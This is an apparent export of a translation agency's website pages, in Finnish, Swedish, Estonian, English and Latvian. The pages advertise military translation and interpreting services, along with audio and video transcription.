LIITTYVÄT KENTÄT Sotilastulkkaus määritellään erityiseksi epäsuoraksi, kulttuurienväliseksi, kahdenväliseksi ja kaksikieliseksi viestinnäksi, jota ammattitaitoinen sotilastulkki harjoittaa tavanomaisissa ja usein äärimmäisissä sotilaspalvelusolosuhteissa ja johon liittyy erityyppisiä sotilastekstejä. Sotilastulkkauksessa ei ole kyse vain sotilaskalustosta, -palvelusta ja vieraasta kielestä. Se sisältää myös monia muita asiaan liittyviä kenttiä ja tieteenaloja, kuten: Lääketiede; Laki; Henkilöstöresurssien hallinta; Politiikka ja diplomatia; IT; Biokemia; Väestönsuojelu. Skrivanekissa työskentelee kieliasiantuntijoita, joilla on vuosien kokemus kaikilta näiltä aloilta Latviassa ja Euroopassa. Siksi pystymme toteuttamaan laajoja ja monimutkaisia käännösprojekteja, jotka edellyttävät eri alojen kokemusta ja asiantuntemusta sekä sotilassanaston tuntemusta. KOKENUT SOTILASKÄÄNTÄJÄ ON ONNISTUNEEN KÄÄNNÖSPROJEKTIN AVAIN. Sotilaskääntäjällä on oltava tarvittava ammattikokemus ja pätevyys, jotta hän voi tuottaa teknisesti ja sisällöllisesti oikeita käännöksiä. Sotilasasiakkaat tarvitsevat usein erittäin monimutkaisten teknisten asiakirjojen käännöksiä, joten kokemus tällaisten tekstien kääntämisestä on välttämätöntä. Skrivanekilla on huomattava kokemus sotilastekstien kääntämisestä telakoita, sotilasilmailua ja sotatekniikkaa varten. Kun olet allekirjoittanut salassapitosopimuksen, voimme kertoa sinulle, miten toimistomme työskentelee luottamuksellisten projektien parissa, ja voimme myös antaa sinulle referenssejä verkkokokouksessa. Lääketiede on vain yksi tärkeistä sotilaskääntämisen aloista. Sotilashenkilön rooli ja työ sotilasympäristössä edellyttää hyvin erilaista lähestymistapaa kuin siviiliterveydenhuolto. Olemme jo useiden vuosien ajan tukeneet tätä tärkeää lääketieteen alaa tarjoamalla käännöspalveluita Puolan sotilaslääketieteellisen instituutin julkaisemalle Lekarz Wojskowy -lehdelle. TULKIN ROOLI SOTILAALLISILLA KONFLIKTIALUEILLA Sotilastulkin päätehtävänä sotilaallisilla konfliktialueilla on tietenkin tarjota kielellistä tukea sekä suullisesti että kirjallisesti. Suurin ero on siinä, että tulkki noudattaa sotilaspalvelusmääräyksiä ja tottelee täysin käskyjä ja toimii usein myös välittäjänä. Tulkin on kyettävä tunnistamaan ja tulkitsemaan kulttuurien välisiä eroja, ja ennen konfliktialueelle menoa hänellä on oltava kaikki saatavilla olevat tiedot maantieteellisistä sijainneista, päivämääristä, kellonajoista, lyhenteistä sekä asianomaisten henkilöiden asemasta, nimistä ja muista kielistä, joita voidaan käyttää keskustelun aikana. ANNA SOTILAALLISET KÄÄNNÖKSET SKRIVANEKIN ASIANTUNTIJOIDEN TEHTÄVÄKSI. Skrivanek on kansainvälinen kieliyritys, joka on toiminut Euroopan markkinoilla yli 30 vuotta. Meillä on laaja kokemus asiakirjojen kääntämisestä Natolle, EU:lle, YK:n toimielimille ja alalla toimiville yrityksille. Kokeneiden teknisten kääntäjien tiimimme on valmis auttamaan haastavimpienkin asiakirjojen, piirustusten ja grafiikan kanssa. Jos haluat lisätietoja teknisistä valmiuksistamme ja kokemuksestamme, ota yhteyttä osoitteeseen ivars@skrivanek. lv, jotta voimme tehdä salassapitosopimuksen ja keskustella projektisi yksityiskohdista. TÄYDELLINEN TIETOTURVA Olemme hyvin tietoisia siitä, että tietojen luottamuksellisuus on nykyään äärimmäisen tärkeää ja että se voi vaikuttaa monien ihmisten ja sotilashenkilöstön turvallisuuteen ja jopa elämään. Kun työskentelet Skrivanekin kanssa, voit olla varma, että kaikki tietosi ovat turvassa. Skrivanek on ottanut käyttöön kaikki tarvittavat ISO-tietoturvallisuuden hallintamenettelyt, mukaan lukien ISO 27001 -sertifikaatin, joka vahvistaa tallentamiemme tietojen korkean laadun. Sotilaskäännöstyössä on usein työskenneltävä erityisissä toimisto-olosuhteissa, kuten ilman internet-yhteyttä tai muita erityisvaatimuksia. Toimistomme henkilökunnalla ja kääntäjillämme on kaikki tarvittavat tiedot ja kokemus tällaisten hankkeiden hoitamiseen. --- - Published: 2023-09-15 - Modified: 2023-09-15 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ - Translation Priorities: Optional De senaste åren har vi sett ett ökande behov av professionella översättare med erfarenhet inom militära texter i Lettland och Europa. Vårt team på Skrivanek har gedigen erfarenhet av att översätta militära texter för väpnade styrkor och försvarsindustrin. Efter utbrottet av kriget i Ukraina har behovet av översättning av militära texter - olika typer av material och dokument relaterade till NATO:s och EU-ländernas väpnade styrkor, militär luftfart, sjöstridskrafter, skydd och beredskap eller krigsmedicin - ökat markant. Det som skiljer översättning av militära handlingar är att militära översättare måste följa kraven i NATO:s terminologidirektiv (PO(2015)0193), vilket innebär att de är skyldiga att använda NATO:s harmoniserade och standardiserade terminologi vid all översättning av dess handlingar. Militära översättare och tolkar måste dessutom hålla sig uppdaterade med förändringar i NATO:s terminologi som införs av NATO:s terminologiavdelning. Militär översättning omfattar en rad dokument och material med olika innehåll, komplexitet och sekretessgrad, t. ex. : alla typer av handlingar från NATO, EU-institutioner och andra institutioner i NATO:s medlemsländer verksamma inom nationell och internationell säkerhet, inbegripet lagstiftningshandlingar; teknisk dokumentation avseende militär utrustning, maskiner, specialanordningar, vapen och fordon för beväpnade styrkor och försvarsindustrin; presentationer, kataloger och olika marknadsföringsmaterial för företag som tillhandahåller tjänster inom militärindustrin; officiella uttalanden och kommunikation från militära och högt uppsatta tjänstemän, inte bara avseende händelseförloppet i konfliktområden, utan även naturkatastrofer, kriser och andra civilskyddsfrågor som påverkar nationell säkerhet och omfattas av särskild lagstiftning; beskrivningar av militära operationer i konfliktområden; utbildningsmaterial för soldater och befälhavare; militära medicinska material; handlingar som innehåller sekretessbelagda uppgifter osv. MILITÄR TOLKNING Förutom översättning av militära texter tillhandahåller Skrivanek även tjänster inom militär tolkning, oftast för: viktiga internationella konferenser och toppmöten; internationella fysiska militära övningar och webbinarier; militära utbytesbesök; presentationer av militär utrustning, maskiner eller stridsfordon; i konfliktområden - bistår FN:s representanter och andra observatörer; militära utställningar och andra evenemang inom försvarsindustrin runtom i Europa. Skrivanek tillhandahåller militär tolkning i alla EU-språk, anpassade till länder, institutioner, organisationer och företag som deltar i projektet eller evenemanget. Vi samarbetar med tolkar och översättare i över 110 språk som är noggrant utvalda och har genomgått interna säkerhetstester, intervjuer, och dokumentgranskning för att påvisa att de är lämpliga för uppdraget ifråga, varvid hänsyn tas till de specifika omständigheterna kring mötet där tolkning behövs. NÄRSTÅENDE OMRÅDEN Militär tolkning definieras som specifik, indirekt, kulturöverskridande, ömsesidig och tvåspråkig kommunikation som utförs av en professionell militär tolk under normala och ofta extrema militärtjänstförhållanden, inbegripet olika typer av militära texter. Militär tolkning handlar inte bara om militär utrustning, tjänst och främmande språk. Det innefattar även många närstående områden såsom: Medicin; Lag; Personalförvaltning; Politik och diplomati; IT; Biokemi; Civilskydd. Skrivanek anlitar språkexperter med mångårig erfarenhet inom dessa områden i Lettland och Europa. Vi kan därmed ta oss an omfattande, komplexa översättningsprojekt som kräver erfarenhet och kunskaper inom olika områden samt kunnighet inom militära termer. EN ERFAREN MILITÄR ÖVERSÄTTARE ÄR NYCKELN TILL ETT LYCKAT ÖVERSÄTTNINGSPROJEKT. Den som arbetar som militär översättare måste besitta relevant yrkeserfarenhet och kompetenser för att kunna tillhandahålla tekniskt och innehållsmässigt korrekta översättningar. Kunder från militärbranschen behöver ofta översättningar av väldigt komplexa tekniska dokument, vilket kräver erfarenhet inom arbete med sådana texter. Skrivanek har gedigen erfarenhet inom översättning av militära texter för varv, militär luftfart och inom militär teknik. Efter att ha tecknat ett sekretessavtal kan vi berätta för dig om hur vi jobbar med konfidentiella projekt och även tillhandahålla referenser vid ett onlinemöte. Medicin är ett av viktiga områden inom militär översättning. Militära personers roll och arbete inom den militära miljön kräver en helt annan inställning till den civila sjukvården. Vi har sedan flera år tillbaka varit verksamma inom denna gren av medicin och utfört översättningstjänster för tidskriften “Lekarz Wojskowy” som publiceras av det militära medicinska institutet i Polen. TOLKENS ROLL I KONFLIKTOMRÅDEN Givetvis har en militär tolk som huvuduppgift att tillhandahålla språkhjälp i tal och skrift i konfliktområden. Den största skillnaden är dock att tolken måste följa militära föreskrifter och utföra order till punkt och pricka och ofta får agera som mellanhand. Tolken ska kunna identifiera och tolka kulturskillnader och, innan han eller hon beger sig till ett konfliktområde, ha all tillgänglig information om geografiska lägen, datum, tider, akronymer och positioner, namn och andra språk som kan användas av berörda personer under samtalets gång. BESTÄLL MILITÄRA ÖVERSÄTTNINGAR HOS EXPERTERNA PÅ SKRIVANEK. Skrivanek är ett internationellt språkföretag som har funnits på den europeiska marknaden i över 30 år. Vi har gedigen erfarenhet av att översätta dokument för NATO, EU, FN-institutioner och företag från denna bransch. Våra erfarna tekniska översättare hjälper gärna till med de svåraste dokumenten, ritningarna eller grafiska elementen. Du som vill få veta mer om våra kompetenser och vår erfarenhet, får gärna skicka ett mejl till ivars@skrivanek. lv så att vi kan teckna ett sekretessavtal och diskutera ditt projekt i detalj. FULLSTÄNDIG INFORMATIONSSÄKERHET Vi är väl medvetna om att informationssekretess nuförtiden är av stor vikt och kan påverka många människors och militärpersonalens säkerhet och liv. Om du samarbetar med Skrivanek, kan du vara säker på att dina uppgifter är i säkert förvar. Skrivanek har implementerat alla nödvändiga ISO-procedurer inom hantering av informationssäkerhet, inklusive ISO 27001-certifiering, vilket borgar för hög kvalitet på våra standarder inom informationsförvaring. Vid militär översättning måste man ofta kunna arbeta under specifika förhållanden, t. ex. utan internetuppkoppling eller enligt andra särskilda krav. Vår kontorspersonal och våra översättare har de kunskaper och den erfarenhet som behövs för att kunna hantera sådana projekt. --- > Meil on märkimisväärne kogemus sõjaväeliste tekstide tõlkimisel relvajõudude ja kaitsetööstuse jaoks. Võtke meiega ühendust. - Published: 2023-09-14 - Modified: 2024-08-13 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ Viimastel aastatel on nii Lätis kui ka Euroopas oluliselt kasvanud nõudlus professionaalsete tõlkijate järele, kes omavad praktilist sõjaliste tekstidega töötamise kogemust. Ka Skrivanekil on arvestatav sõjaliste tekstide tõlkimise kogemus relvajõudude ja kaitsetööstuse jaoks. With the outbreak of the war in Ukraine, demand for the translation of military texts – various types of materials and documents related to the armed forces of NATO and EU Member States, military aviation, naval forces, civil protection or battlefield medicine – increased significantly. One of the differences in the translation of military documents is that military translators closely follow the requirements of the NATO Terminology Directive (PO(2015)0193), which requires the use of NATO harmonised and standardised terminology in all translations of Alliance documents. Military translators and interpreters also keep up to date with the latest terminology developments of the NATO Terminology Office. Military translation covers a wide range of documents and materials of varying content, complexity and level of confidentiality, such as: NATO, Euroopa Liidu institutsioonide ja teiste NATO liikmesriikide asutuste riikliku ja rahvusvahelise julgeoleku alased dokumendid, sealhulgas seadusega nõutavad dokumendid; relvajõudude ja kaitsetööstuse vajadustele vastav sõjavarustuse, -tehnika, eriseadmete, relvade ja sõidukite tehniline dokumentatsioon; esitlused, kataloogid ja mitmesugused turundusmaterjalid ettevõtetele, kes pakuvad sõjandussektoris oma kaupu ja teenuseid; sõjaväelaste ja kõrgete ametnike ametlikud avaldused ning teated mitte ainult konfliktipiirkondades toimuva kohta, vaid ka loodusõnnetuste, kriiside ja muude kodanikukaitsega seotud teemadel, mis mõjutavad riigi julgeolekut ja on hõlmatud konkreetsete õigusaktidega; konfliktipiirkondades aset leidvate sõjaliste operatsioonide kirjeldused; sõduritele ja sõjavälisele juhtkonnale suunatud koolitusmaterjalid; sõjameditsiinialased materjalid; piiratud salastatusega või salastatud tasemega dokumendid jne. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klient *EraisikudEttevõte Nimi *Telefon Lisa Eemalda Nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda Ettevõtte nimi *Telefon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda E-mail *Keelekombinatsioon Lisa Eemalda Sinu sõnumLisage kuni 20 MB suurune dokument, kui dokumendi suurus on suurem, märkige see sõnumis ja me võtame ühendust. Click or drag files to this area to upload. You can upload up to 10 files. Kuidas te meie kohta teada saite? Kuidas te meie kohta teada saite? Olen Skrivaneki klientGoogle‘i otsingumootorSõbrad/tuttavadFacebookTwitterLinkedInInstagramVälireklaamMinuga võttis ühendust Skrivaneki müügijuhtTrükireklaam *Nõustun isikuandmete töötlemisega kooskõlas SIA Skrivanek Baltic privaatsuspõhimõtetega. Saada MILITARY INTERPRETERS Lisaks sõjaliste tekstide kirjalikule tõlkimisele pakub Skrivanek ka sõjavaldkonna tõlgi suulise tõlke teenust, mida kasutatakse sagedamini järgmistel puhkudel: rahvusvahelistel kõrgetasemelistel konverentsidel ja kohtumistel; rahvusvahelistel sõjaväepersonali koolitustel ja veebiseminaridel; sõjavaldkonna kogemuste vahetamise visiitide ajal; sõjavarustuse, -tehnika või lahingumasinate esitluste käigus; konfliktipiirkondades, aidates ÜRO ja teiste organisatsioonide vaatlejaid; sõjaliste näituste ja muude kaitsetööstuse ürituste raames kõikjal Euroopas. Skrivanek suudab tagada suulise sõjalise tõlke kõigis ELi keeltes, vastavalt projektis või üritusel osalevatele riikidele, institutsioonidele, organisatsioonidele ja ettevõtetele. Töötame enam kui 110 keele tõlkide ja tõlkijatega, keda valitakse ja kontrollitakse hoolikalt ning kes läbivad ettevõttesise turva- ja usaldusvestluse ning dokumentide kontrolli, millega tagatakse sobivus antud ülesande täitmiseks, võttes arvesse suulist tõlget vajava ürituse eripära. SEOTUD VALDKONNAD Sõjaline tõlge on määratletud kui spetsiifiline vahendatud, kultuuridevaheline, kahepoolne ja kakskeelne suhtlus, mida professionaalne sõjavaldkonna tõlk teostab sõjateenistuse tavapärastes ja sageli erakorralistes tingimustes, hõlmates eri liiki sõjalisi tekste. Sõjaline tõlge ei hõlma ainult sõjavarustust, -teenistust ja võõrkeeli. See on seotud ka paljude teiste seotud valdkondade ja sektoritega, näiteks järgmised: meditsiin; seadusandlus; inimressursside juhtimine; poliitika ja diplomaatia; infotehnoloogia; biokeemia; kodanikukaitse. Skrivanekis töötavatel keelespetsialistidel on aastatepikkune nii Lätist kui ka Euroopast saadud kogemus kõigis neis valdkondades. Seetõttu suudame tegeleda suurte ja keerukate tõlkeprojektidega, mis nõuavad kogemusi ja teadmisi eri valdkondades ning sõjalise sõnavara tundmist. EDUKA TÕLKEPROJEKTI VÕTI ON SÕJALISE SISUGA TEKSTI KOGENUD TÕLKIJA Igaüks, kes töötab sõjalise sisuga tekstide tõlkijana, peab omama vajalikku erialast kogemust ja kvalifikatsiooni, et tagada tehniliselt ja sisuliselt korrektsed tõlked. Sõjavaldkonna kliendid tellivad sageli väga keeruliste tehniliste dokumentide tõlkeid, mis tähendab, et selliste tekstide tõlkimise kogemus on ääretult oluline. Skrivanekil on märkimisväärne sõjaliste tekstide tõlkimise kogemus, mis on arenenud laevatehaste, sõjalennunduse ja militaartehnika tootjate tellimusel. Pärast konfidentsiaalsuslepingu allkirjastamist saame teile veebikohtumise käigus rääkida, kuidas käib meie büroos töö konfidentsiaalsete projektidega, ning näidata ka klientidelt saadud tagasisidet. Üks oluline sõjalise tõlke valdkond on meditsiin. Sõjaväelase roll ja töö sõjalises keskkonnas nõuab tsiviiltervishoiust väga erinevat lähenemist. Toetame seda olulist meditsiinisektorit, pakkudes juba aastaid tõlketeenuseid Poola sõjameditsiini instituudi kirjastatavale väljaandele „Lekarz Wojskowy“. TÕLGI ROLL SÕJALISE KONFLIKTI PIIRKONDADES Sõjavaldkonna tõlgi peamine ülesanne on loomulikult pakkuda sõjalise konflikti piirkonnas nii suulist kui ka kirjalikku keelelist tuge. Peamine erinevus seisneb selles, et tõlk järgib sõjateenistuse reegleid ja allub täielikult käsuliinile, olles sageli ka vahendajaks. Tõlk peab olema võimeline tuvastama ja tõlgendama kultuuridevahelisi erinevusi ning enne konfliktipiirkonda reisimist peab ta omandama kogu kättesaadava teabe geograafiliste asukohtade, kuupäevade, kellaaegade, akronüümide ning asjaomaste isikute ametite, nimede ja vestluses kasutusele tulevate teiste keelte kohta. USALDAGE OMA SÕJALISED TÕLKED SKRIVANEKI EKSPERTIDELE Skrivanek on rahvusvaheline keeleteenuseid pakkuv ettevõte, mis on Euroopa turul tegutsenud juba üle 30 aasta. Meil on ulatuslik kogemus dokumentide tõlkimisel NATO, ELi ja ÜRO institutsioonidele, aga ka selles sektoris tegutsevatele ettevõtetele. Meie kogenud tehniliste tõlkijate meeskond on valmis aitama ka kõige keerulisemate dokumentide, jooniste ja graafikute tõlkimisel. Kui soovite lisateavet meie tehniliste võimaluste ja kogemuste kohta, kirjutage palun aadressil ivars@skrivanek. lv, et sõlmida konfidentsiaalsusleping ning arutada teie projekti üksikasju. TÄIELIKULT TAGATUD INFOTURVE Me teame väga hästi, kui oluline on tänapäeval teabe konfidentsiaalsus ning et see võib mõjutada paljude inimeste ja sõjaväelaste ohutust, isegi elu. Koostöös Skrivanekiga võite olla kindel, et kogu teave on turvatud. Skrivanekis rakendatakse kõiki vajalikke ISO infoturbe haldamise protsesse, muu hulgas on meile väljastatud ka ISO 27001 sertifikaat, mis kinnitab andmete hoidmise kõrget kvaliteeti. Sõjaliste tekstide tõlkimine eeldab sageli töötamist erilistes kontoritingimustes, näiteks ilma internetiühenduseta või muude erinõuete alusel. Meie töötajatel ja tõlkijatel on kõik selliste projektidega tegelemiseks vajalikud teadmised ja kogemused. Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused --- > We have considerable experience in translating military texts for the armed forces and the defence industry. - Published: 2023-09-12 - Modified: 2025-06-27 - URL: https://skrivanek.lv/tulkosanas-nozares/militaro-tekstu-tulkosana/ - Translation Priorities: Optional In recent years, there has been a significant increase in demand for professional translators with practical experience working with military texts in Latvia and Europe. At Skrivanek, we also have considerable experience in translating military texts for the armed forces and the defence industry. With the outbreak of the war in Ukraine, demand for the translation of military texts – various types of materials and documents related to the armed forces of NATO and EU Member States, military aviation, naval forces, civil protection or battlefield medicine – increased significantly. One of the differences in the translation of military documents is that military translators closely follow the requirements of the NATO Terminology Directive (PO(2015)0193), which requires the use of NATO harmonised and standardised terminology in all translations of Alliance documents. Military translators and interpreters also keep up to date with the latest terminology developments of the NATO Terminology Office. Military translation covers a wide range of documents and materials of varying content, complexity and level of confidentiality, such as: all types of documents of NATO, European Union institutions and other NATO Member States’ institutions in the field of national and international security, including legislative documents; technical documentation on military equipment, machinery, special devices, weapons and vehicles for the armed forces and the defence industry; presentations, catalogues and various marketing materials for companies providing services to the military industry; official statements and communications of military and high-level officials, not only on what is happening in conflict zones, but also on natural disasters, crises and other civil protection issues affecting national security and covered by special legislation; descriptions of military operations in conflict zones; training materials for soldiers, commanders-in-chief; military medical materials; restricted or classified information documents, etc. WE WILL GLADLY HEAR YOU OUT AND DEVELOP A SOLUTION TAILORED TO YOUR NEEDS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Or book an online consultation now! MILITARY INTERPRETERS In addition to the translation of military texts, Skrivanek also provides military interpreting services, most often for: international high-level conferences and meetings; international face-to-face military exercises and webinars; military exchange visits; presentations of military equipment, machinery or combat vehicles; in conflict zones, assisting UN and other observers; military exhibitions and other defence industry events throughout Europe. Skrivanek provides military interpreting in all EU languages, depending on the countries, institutions, organisations and companies involved in the project or event. We work with interpreters and translators of more than 110 languages who are carefully selected and screened through internal security and due diligence interviews, document checks to ensure suitability for the task at hand, taking into account the specific nature of the meeting requiring interpretation. Given the current situation in Ukraine, we are also adapting and seeing a growing demand for Ukrainian-English and English-Ukrainian military translations, as well as English-Ukrainian and Ukrainian-English interpreters/translators. At Skrivanek, we can provide military interpreters and translators in English-Ukrainian as well as Ukrainian-English combinations. RELATED FIELDS Military interpreting is defined as specific indirect, intercultural, bilateral and bilingual communication, carried out by a professional military interpreter under normal and often extreme conditions of military service, involving different types of military texts. Military interpreting is not only about military equipment, service and foreign language. It also includes many other related fields and disciplines such as: Medicine; Law; Human Resource Management; Politics and Diplomacy; IT; Biochemistry; Civil Protection. Skrivanek employs language specialists with many years of experience in all these fields in Latvia and Europe. We are therefore able to deliver large and complex translation projects requiring experience and expertise in different fields and knowledge of military vocabulary. AN EXPERIENCED MILITARY TRANSLATOR IS THE KEY TO A SUCCESSFUL TRANSLATION PROJECT Anyone working as a military translator must have the necessary professional experience and qualifications to provide technically and substantively correct translations. Military clients often require translations of highly complex technical documents, which means that experience in translating such texts is essential. Skrivanek has considerable experience in translating military texts for shipyards, military aviation and military engineering. After signing a non-disclosure agreement, we can tell you how our office works with confidential projects and also provide you with references in an online meeting. Medicine is just one of the important fields of military translation. The role and work of a military person in a military setting requires a very different approach to civilian healthcare. For many years now we have supported this important field of medicine by providing translation services for Lekarz Wojskowy, published by the Military Medical Institute in Poland. THE ROLE OF THE INTERPRETER IN MILITARY CONFLICT ZONES Of course, the main task of a military interpreter in military conflict zones is to provide linguistic support, both verbally and in writing. The main difference is that the interpreter follows the military service regulations and fully obeys orders, often also acting as an intermediary. The interpreter must be able to identify and interpret cross-cultural differences, and before going to a conflict zone must have all the available information on geographical locations, dates, times, acronyms and the positions, names and other languages of the people involved that could be used in the course of the conversation. ENTRUST YOUR MILITARY TRANSLATIONS TO THE SPECIALISTS AT SKRIVANEK Skrivanek is an international language company that has been on the European market for more than 30 years. We have extensive experience in translating documents for NATO, EU, UN institutions and companies working in this industry. Our team of experienced technical translators is ready to help with even the most challenging documents, drawings, and graphics. To find out more about our technical capabilities and experience, please contact us at ivars@skrivanek. lv so that we can enter into a non-disclosure agreement and discuss the specifics of your project. COMPLETE INFORMATION SECURITY We are well aware that confidentiality of information is of paramount importance today and can affect the safety and even the lives of many people and military personnel. By working with Skrivanek, you can rest assured that all your information will be safe. Skrivanek has implemented all the necessary ISO information security management procedures, including ISO 27001 certification, which confirms storage of the data we handle. In military translation, it is often necessary to work under specific office conditions, such as no access to the internet or other special requirements. Our office personnel and our translators have all the necessary knowledge and experience to handle such projects. Insurance Construction HR Finances and Banking IT and Gaming Agriculture Law Forestry Engineering and Railway Medical and Clinical Trial Manufacturing Advertising and Marketing Trade Tourism Government and Municipal Institutions --- > Audio un/vai video ierakstu transkripcija ir ierakstā runātā teksta pārveidošana drukātā tekstā. Sazinieties ar mums, lai uzzinātu vairāk! - Published: 2023-09-11 - Modified: 2025-07-07 - URL: https://skrivanek.lv/transkripcija-jeb-transkribesanas-pakalpojumi/ - Translation Priorities: Optional KAS IR TRANSKRIPCIJA/TRANSKRIBĒŠANA? Profesionāla audio un/vai video ierakstu transkripcija ir ierakstā dzirdamā teksta (runas) precīza atveidošana drukātā tekstā teksta datnē. Nereti, lai maksimāli efektivizētu darbu, var tikt izmantota moderna runas atpazīšanas tehnoloģija, kas vajadzības gadījumā mums ļaus paātrināt transkripcijas procesu pat ja ierakstā ir dzirdami vairāki runātāji. Šāda automatizētā transkripcija būs pareizā izvēle, ja audio ir ļoti labas kvalitātes un viegli uztverams. Visbiežāk strādājam ar manuālo transkripciju, lai gan tā paildzina darba procesu un padara to sarežģītāku, toties kvalitāte ir garantēta. Kad būsim pabeiguši darbu, jūs saņemsiet transkribēto teksta datni, kas būs gatava izmantošanai dažādiem mērķiem. KĀPĒC SADARBOTIES AR SKRIVANEK? Mēs esam profesionāls valodu pakalpojumu uzņēmums, kas pazīstams ar savu lielisko klientu apkalpošanu un plašo valodu pakalpojumu klāstu. Nodrošināt jūsu audio vai videomateriāla profesionālu transkribēšanu un tekstu tulkošanu vairāk nekā 110 valodās ir mūsu biroja prioritāte. Klienti izvēlas sadarboties ar Skrivanek, jo: Strādājam ar vairāk nekā 100 datņu formātiem: mēs strādājam ar visiem audio un videodatņu formātiem (piemēram, sbv, avi, mpg, mp4, wmv, mp3, wav, wma un citiem), tāpēc neatkarīgi no tā, vai jums nepieciešama audio vai video transkripcija, mēs jums palīdzēsim! Pakalpojumu nodrošināšana tiešsaistē: jums nekur nav jādodas, lai pasūtītu audio/videodatnes runas transkripciju. Mēs pieņemam un nododam pabeigtos darbus 100% tiešsaistē, sazinoties pa e-pastu vai izmantojot jebkuru jums vēlamo datu tiešsaistes apmaiņas risinājumu mākonī, lai garantētu jūsu datu pilnīgu drošību. Parocīgs klientu portāls: sekojiet līdzi visam vienuviet un apziniet projekta izpildes progresu, izmantojot mūsu lietotājiem draudzīgo klientu portālu. Garantēta lieliska apkalpošana: mūsu darba kvalitāti apliecina daudzi Starptautiskās Standartizācijas organizācijas (ISO) sertifikāti un stingrs rīcības kodekss. Ja vēlaties saņemt kvalitatīvu transkripcijas pakalpojumu, esat pareizajā vietā! Nepieciešama audio vai video ierakstu trankribēšana? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! KAS IR TRANSKRIPCIJA / TRANSKRIBĒŠANA? Profesionāla audio un/vai video ierakstu transkripcija ir ierakstā dzirdamā teksta (runas) precīza atveidošana drukātā tekstā teksta datnē. Nereti, lai maksimāli efektivizētu darbu, var tikt izmantota moderna runas atpazīšanas tehnoloģija, kas vajadzības gadījumā mums ļaus paātrināt transkripcijas procesu pat ja ierakstā ir dzirdami vairāki runātāji. Šāda automatizētā transkripcija būs pareizā izvēle, ja audio ir ļoti labas kvalitātes un viegli uztverams. Visbiežāk strādājam ar manuālo transkripciju, lai gan tā paildzina darba procesu un padara to sarežģītāku, toties kvalitāte ir garantēta. Kad būsim pabeiguši darbu, jūs saņemsiet transkribēto teksta datni, kas būs gatava izmantošanai dažādiem mērķiem. KĀPĒC SADARBOTIES AR SKRIVANEK? Mēs esam profesionāls valodu pakalpojumu uzņēmums, kas pazīstams ar savu lielisko klientu apkalpošanu un plašo valodu pakalpojumu klāstu. Nodrošināt jūsu audio vai videomateriāla profesionālu transkribēšanu un tekstu tulkošanu vairāk nekā 110 valodās ir mūsu biroja prioritāte. Klienti izvēlas sadarboties ar Skrivanek, jo: Strādājam ar vairāk nekā 100 datņu formātiem: mēs strādājam ar visiem audio un videodatņu formātiem (piemēram, sbv, avi, mpg, mp4, wmv, mp3, wav, wma un citiem), tāpēc neatkarīgi no tā, vai jums nepieciešama audio vai video transkripcija, mēs jums palīdzēsim! Pakalpojumu nodrošināšana tiešsaistē: jums nekur nav jādodas, lai pasūtītu audio/videodatnes runas transkripciju. Mēs pieņemam un nododam pabeigtos darbus 100% tiešsaistē, sazinoties pa e-pastu vai izmantojot jebkuru jums vēlamo datu tiešsaistes apmaiņas risinājumu mākonī, lai garantētu jūsu datu pilnīgu drošību. Parocīgs klientu portāls: sekojiet līdzi visam vienuviet un apziniet projekta izpildes progresu, izmantojot mūsu lietotājiem draudzīgo klientu portālu. Garantēta lieliska apkalpošana: mūsu darba kvalitāti apliecina daudzi Starptautiskās Standartizācijas organizācijas (ISO) sertifikāti un stingrs rīcības kodekss. Ja vēlaties saņemt kvalitatīvu transkripcijas pakalpojumu, esat pareizajā vietā! Nepieciešama audio vai video ierakstu trankribēšana? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu 